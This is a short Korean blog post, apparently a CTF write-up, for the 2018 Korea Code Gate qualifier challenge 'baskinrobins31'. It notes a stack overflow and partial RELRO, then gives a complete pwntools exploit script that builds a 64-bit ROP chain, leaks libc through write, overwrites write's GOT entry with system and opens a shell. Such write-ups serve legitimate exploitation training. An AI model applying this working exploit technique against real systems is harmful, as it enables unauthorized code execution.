티스토리 뷰
지금 malloc.c 분석을 하며 문서를 작성하느라 블로그에 올릴게 없다..
그 동안 풀어봤던 문제들 몇개를 계속 올려야겠다.
2018 코게 예선으로 나온 baskinrobins31이다
간단한 64bit ROP이다.
64bit, partial RELRO뿐이다.
메인의 내용은 별거없으니 pass한다.
int main()
{
Intro()
your_turn()
computer_turn()
}
your_turn()에서 입력받을때 bof가 충분히 터지고 got overwrite이 가능하기에 ROP로 shell취득이 가능하다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
from pwn import *
#context.log_level = 'debug'
p = process('./BaskinRobins31')
e = ELF('./BaskinRobins31')
l = e.libc
bss = e.bss()
pop = 0x000000000040087a
prdi = 0x0000000000400bc3
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']
pay = "A" * 184
pay += p64(pop)
pay += p64(0) + p64(bss) + p64(8)
pay += p64(read_plt)
pay += p64(pop)
pay += p64(1) + p64(write_got) + p64(8)
pay += p64(write_plt)
pay += p64(pop)
pay += p64(0) + p64(write_got) + p64(8)
pay += p64(read_plt)
pay += p64(prdi)
pay += p64(bss)
pay += p64(write_plt)
p.recvuntil('How many numbers do you want to take ? (1-3)')
p.send(pay)
sleep(0.5)
p.send('/bin/sh\x00')
sleep(0.5)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
base = leak - l.sym['write']
sys = base + l.sym['system']
p.send(p64(sys))
p.interactive()
|
댓글